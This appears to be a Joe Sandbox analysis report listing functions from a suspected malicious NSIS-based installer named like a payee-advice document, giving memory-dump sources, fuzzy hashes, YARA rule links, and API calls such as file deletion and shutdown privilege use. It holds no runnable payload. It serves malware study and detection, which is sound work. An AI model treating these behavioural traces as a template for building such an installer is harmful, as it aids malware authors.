Opcode Fuzzy Hash: b6a35d528c990afb0e1fcd8be6d8b64f742f601809017efdbe2e13aa92db4967
Instruction Fuzzy Hash: D101E470E04229AFCB54EFB988106AEBBF5AF48200F00816AD559F7250EB3859028F91

Function 3A80E693 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a2cd14a18bbdb2812d5c03302ec6148e3dbccab2021322bd00490d64418fb63
Instruction ID: 5d196cd88f5b0481d5ad70850ca6cfeb145bae4d86aeb53ee380a5e10d863c80
Opcode Fuzzy Hash: 4a2cd14a18bbdb2812d5c03302ec6148e3dbccab2021322bd00490d64418fb63
Instruction Fuzzy Hash: A4F05E343082149FD748DF29DC64A267BE9BF8675071544E9F505CB3B1DAA0DC01CB90

Function 3A80E6A0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9bdefd7fa02ae2fb428a1431a9fe5f610845b115cfc211da7f6062d86031a3c
Instruction ID: fa5cf30bc6088580be44b82aee50176b532f8490425fd0d143d2a91752254179
Opcode Fuzzy Hash: a9bdefd7fa02ae2fb428a1431a9fe5f610845b115cfc211da7f6062d86031a3c
Instruction Fuzzy Hash: 54F08C343042149FEB48DF2AEC68A2A37AAEFC5B5070584A9F506CB7A0DE60DC01CB90

Function 39EF4990 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a19e883b4e953885399cfd699fb8491ce9345f6a24e3bc27cd95fda2f401d7
Instruction ID: 0890351fd896717009039e6b8f4af57fea01348f1241ddda509484493d74e6eb
Opcode Fuzzy Hash: 69a19e883b4e953885399cfd699fb8491ce9345f6a24e3bc27cd95fda2f401d7
Instruction Fuzzy Hash: 6BF05E36301205DFC700CF6AC488C5ABBEAFF88724751806AF6098B334DB71AC51CB80

Function 001628B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 221ae8e6c5a2c17e647c86e055d572e298f39d1f561adb6a144764050493746f
Instruction ID: 2d6707e3fd42b7d1f3103e89c27e73df1d19edefd0e9b4ef59037cf632b731a8
Opcode Fuzzy Hash: 221ae8e6c5a2c17e647c86e055d572e298f39d1f561adb6a144764050493746f
Instruction Fuzzy Hash: 67D05B31D2022B97CB11E7A5DC044DFF738EED5265B504626D51837140FB703659C6E1

Function 001628AB Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c57873bd80f0b18a7ddfb7471e0f7f9113cd591141a2750083f1c09ea418e3c1
Instruction ID: d05f8abbdcce3893244e24777515d881a7b217e4be30d250c58940b9ce7547cb
Opcode Fuzzy Hash: c57873bd80f0b18a7ddfb7471e0f7f9113cd591141a2750083f1c09ea418e3c1
Instruction Fuzzy Hash: 6CD05B35D6062BD6CB11EBA1EC100DDB334EED5265B548617D53837150EB34275EC7E1

Function 39EF4A40 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 294c05485a0350ba7db6ea3c1be5514d24cb3a27a53c42cea2c0e6a2292c8513
Instruction ID: edefc5568a91d42adb7dc92c7b98baa9d1b9fa4b487429db2bf08cd468929b09
Opcode Fuzzy Hash: 294c05485a0350ba7db6ea3c1be5514d24cb3a27a53c42cea2c0e6a2292c8513
Instruction Fuzzy Hash: 93D0C7367151687B4B551A49D4048AE7B6FD7CD7717048026F90A93300CE714D1297D5

Function 0016D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a22e0f0729ad62e643258ed7556d26a2a75733223fefd124ae55c6a0c73d5d7
Instruction ID: 33eb9f6433674bc3404b393f6531f2a6a9171763e55c1988a8511fb422862908
Opcode Fuzzy Hash: 0a22e0f0729ad62e643258ed7556d26a2a75733223fefd124ae55c6a0c73d5d7
Instruction Fuzzy Hash: 68D04275E04109CBCB20DFA8E9844DCBB71EF89321B60546BD925A3651D73059558F11

Function 0016AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d02904eef80a466c5904f3048c7681c202f7671161dc3d895ea3837bd110af5f
Instruction ID: 6d9054b25e5052d652ad212ab3ca2637521909f60148349945c6f368ca3c1a19
Opcode Fuzzy Hash: d02904eef80a466c5904f3048c7681c202f7671161dc3d895ea3837bd110af5f
Instruction Fuzzy Hash: 65D0673AB40018AFCB049F9CEC908DDF776FB98221B048526F915A3261C6319965DB90

Function 00166748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f900f3c0ab8922ae00e733cd5a3a87b44de2f29456af218a80eab6a06c276dd5
Instruction ID: 7fa0abc01565149169b2ca77a075002c7fce322b25d5f46502cf4b3e5d559052
Opcode Fuzzy Hash: f900f3c0ab8922ae00e733cd5a3a87b44de2f29456af218a80eab6a06c276dd5
Instruction Fuzzy Hash: 98C0123000430D4AC745E7A5EC55555B72BA7802147708950B4060696AEEB81D964B90

Non-executed Functions

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B28
GetDlgItem.USER32(?,00000408), ref: 00404B33
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
LoadBitmapW.USER32(0000006E), ref: 00404B90
SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
DeleteObject.GDI32(00000000), ref: 00404C06
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
GetWindowLongW.USER32(?,000000F0), ref: 00404D41
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
ShowWindow.USER32(?,00000005), ref: 00404D60
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
ImageList_Destroy.COMCTL32(?), ref: 00404F30
GlobalFree.KERNEL32(?), ref: 00404F40
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
SendMessageW.USER32(?,00001102,?,?), ref: 00405062
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
ShowWindow.USER32(?,00000000), ref: 004050DF
GetDlgItem.USER32(?,000003FE), ref: 004050EA
ShowWindow.USER32(00000000), ref: 004050F1

Strings

, xrefs: 004050C9
M, xrefs: 00404CBA
N, xrefs: 00404D9B

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
Opcode Fuzzy Hash: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

Function 0040335A Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 335stringfilecomCOMMON

Download Yara Rule

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNEL32(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,00434000,00000000), ref: 004033DB
CharNextW.USER32(00000000,00434000,00000020), ref: 00403402
GetTempPathW.KERNEL32(00000400,00436800,00000000,00000020), ref: 0040350B
GetWindowsDirectoryW.KERNEL32(00436800,000003FB), ref: 0040351C
lstrcatW.KERNEL32(00436800,\Temp), ref: 00403528
GetTempPathW.KERNEL32(000003FC,00436800,00436800,\Temp), ref: 0040353C
lstrcatW.KERNEL32(00436800,Low), ref: 00403544
SetEnvironmentVariableW.KERNEL32(TEMP,00436800,00436800,Low), ref: 00403555
SetEnvironmentVariableW.KERNEL32(TMP,00436800), ref: 0040355D
DeleteFileW.KERNEL32(00436000), ref: 00403571
OleUninitialize.OLE32(?), ref: 00403621
ExitProcess.KERNEL32 ref: 00403641
lstrcatW.KERNEL32(00436800,~nsu.tmp,00434000,00000000,?), ref: 0040364D
lstrcmpiW.KERNEL32(00436800,00435800,00436800,~nsu.tmp,00434000,00000000,?), ref: 00403659
CreateDirectoryW.KERNEL32(00436800,00000000), ref: 00403665
SetCurrentDirectoryW.KERNEL32(00436800), ref: 0040366C
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
CopyFileW.KERNEL32(00437800,0041FE90,00000001), ref: 004036DA
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
ExitProcess.KERNEL32 ref: 004037BC

Strings

~nsu.tmp, xrefs: 00403647
SeShutdownPrivilege, xrefs: 0040376F
TEMP, xrefs: 00403550
NSIS Error, xrefs: 004033B9
TMP, xrefs: 00403558
Error launching installer, xrefs: 004035D8
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
\Temp, xrefs: 00403522
Low, xrefs: 0040353E

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-1875889550
Opcode ID: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
Opcode Fuzzy Hash: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

Function 00405772 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00436800,75922EE0,00434000), ref: 0040579B
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,00436800,75922EE0,00434000), ref: 004057E3
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,00436800,75922EE0,00434000), ref: 00405806
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,00436800,75922EE0,00434000), ref: 0040580C
FindFirstFileW.KERNEL32(004246D8,?,?,?,00409014,?,004246D8,?,?,00436800,75922EE0,00434000), ref: 0040581C
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
FindClose.KERNEL32(00000000), ref: 004058CB

Strings

\*.*, xrefs: 004057DD

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
Opcode Fuzzy Hash: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E

Function 0040653F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00436800,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,00436800,?,75922EE0,00405792,?,00436800,75922EE0), ref: 00406238
FindClose.KERNEL32(00000000), ref: 00406244

Strings

WB, xrefs: 0040622E

Memory Dump Source

Source File: 00000004.00000002.3323338301.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3323317231.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323361272.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323381590.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3323411511.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD

Function 39EF0040 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

.5uq, xrefs: 39EF015B

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: .5uq
API String ID: 0-910421107
Opcode ID: e2e874654964831a97af562f6b53e71cbbc03ee7041de16b29c9157c8ec17ea3
Instruction ID: 77a056e8ec1fb11b85c7206be3905de8fa52032688381f47ea686833902cfa17
Opcode Fuzzy Hash: e2e874654964831a97af562f6b53e71cbbc03ee7041de16b29c9157c8ec17ea3
Instruction Fuzzy Hash: A7529B74E01268CFDB64DF69C884B9DBBB2BB89305F1081EAD409A7355DB35AE81CF50

Function 39EF0B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f14743e5bccd9007c796d6996faea0156bb59a1f0af2dd1d9fe0a6d02df50e42
Instruction ID: 665c487d2ecb0ab91dc3c76c9a143bb43589832d5db9e79f43bede349723a2e2
Opcode Fuzzy Hash: f14743e5bccd9007c796d6996faea0156bb59a1f0af2dd1d9fe0a6d02df50e42
Instruction Fuzzy Hash: AD72C074E012698FDB64DF69C880BDABBB2BB49305F5181EAD40DA7351DB31AE81CF41

Function 3A7ED470 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86a2eb0eb9ef1949874c1b4dd6dd48839348676ad1ac74e40e16a36d7b89f7e5
Instruction ID: ea348aa12d890363bd1cf97546181cae84ebdeb032dd8c7d68bb817854e0d7fa
Opcode Fuzzy Hash: 86a2eb0eb9ef1949874c1b4dd6dd48839348676ad1ac74e40e16a36d7b89f7e5
Instruction Fuzzy Hash: 69D19F74E013288FDB54DFA5C994B9DBBB2BF89300F2081A9D409AB355DB355E85CF50

Function 3A7EA968 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27f187a7fbcd08a0eb27b3c93627b8ac0a6694bfeacc4d4810e64259deacf51f
Instruction ID: 50e80302f4c2baf179dca734594d10b6a73c3e9e5b79d10f31e4ddc63454947e
Opcode Fuzzy Hash: 27f187a7fbcd08a0eb27b3c93627b8ac0a6694bfeacc4d4810e64259deacf51f
Instruction Fuzzy Hash: 4BD19E74E013288FDB54DFA5C994B9DBBB2BF89300F2081AAD419AB354DB359E85CF50

Function 3A7E7E60 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a9628ab493391a84953bdf1d79cddf224f9f3b02b1c0241f5dd3fed5014ba1f
Instruction ID: e171c9bdc1b81f7efbf120d44264b147c383515af5940fb4ea2b52f93792b863
Opcode Fuzzy Hash: 5a9628ab493391a84953bdf1d79cddf224f9f3b02b1c0241f5dd3fed5014ba1f
Instruction Fuzzy Hash: 6DD19F74E013288FDB54DFA5C994B9DBBB2BF89300F2081AAD419AB354DB359E85CF50

Function 3A7EEC58 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3644dd3db84eb88c5e862d388bd29f6ee22589fbb4efdc716af907bb4c4723f0
Instruction ID: 0851b24f31020c0f1c9ddcb622cb2ed55a5f195b4b4c1ceb8f98abd59aae3eac
Opcode Fuzzy Hash: 3644dd3db84eb88c5e862d388bd29f6ee22589fbb4efdc716af907bb4c4723f0
Instruction Fuzzy Hash: C8D19F74E01228CFDB54DFA5C994B9DBBB2BF89300F2081AAD409AB354DB359E85CF50

Function 3A7EC150 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f94c8fbbe916c7b5c4dad9e9d40052ef79b371a020589709646b9c1783860344
Instruction ID: 59ec8c9022612ca2ea3d8b304a2f6d35e539173f29286d76e983f18aa656be68
Opcode Fuzzy Hash: f94c8fbbe916c7b5c4dad9e9d40052ef79b371a020589709646b9c1783860344
Instruction Fuzzy Hash: 03D18078E013288FDB54DFA5C994B9DBBB2BF89300F2081AAD409AB354DB355E85CF51

Function 3A7E9648 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32fc9ba276907ea8a20409d6059237db0e5757c6be0c6486b099b17d7b49cae3
Instruction ID: 1029d9147dfd18be0096f516806db67e5d1063f439bbf706d45af1d53209302d
Opcode Fuzzy Hash: 32fc9ba276907ea8a20409d6059237db0e5757c6be0c6486b099b17d7b49cae3
Instruction Fuzzy Hash: A6D1AE74E013288FDB54DFA5C994B9DBBB2BF89300F2081AAD419AB354DB359E85CF50

Function 3A7E6B40 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d43855b09c9a412428f58808d735e3996f6e191cdc01b1a0e87c69c6c608facf
Instruction ID: e40d8566a36bdaef3e5111ff08f921c070ec1f099e9bdefff48f48c359ccecd2
Opcode Fuzzy Hash: d43855b09c9a412428f58808d735e3996f6e191cdc01b1a0e87c69c6c608facf
Instruction Fuzzy Hash: 71D19F74E013288FDB64DFA5C994B9DBBB2BF89300F2081A9D409AB354DB359E85CF50

Function 3A7ED938 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eb6c6ce3f082c04ed934a967276033e049542dc2d1806f5dfe84fc4d8b3fd5b
Instruction ID: e9f62188499374a4b030dbeb56cf6790daf0698d626a519eb892edcf97bf1201
Opcode Fuzzy Hash: 1eb6c6ce3f082c04ed934a967276033e049542dc2d1806f5dfe84fc4d8b3fd5b
Instruction Fuzzy Hash: 35D19F74E01228CFDB54DFA5C994B9DBBB2BF89300F2081AAD409AB355DB355E85CF50

Function 3A7EAE30 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80a99446aa334de57082a9d0049e55804f55be0f3ea0a400eda67c2077a8e8ba
Instruction ID: 2e7ee78fb757b097808cc62b392564d08e167e1999b2cdad3470fb60dff5085e
Opcode Fuzzy Hash: 80a99446aa334de57082a9d0049e55804f55be0f3ea0a400eda67c2077a8e8ba
Instruction Fuzzy Hash: 5BD18F74E013288FDB54DFA5C994B9DBBB2BF89300F2081AAD419AB354DB359E85CF50

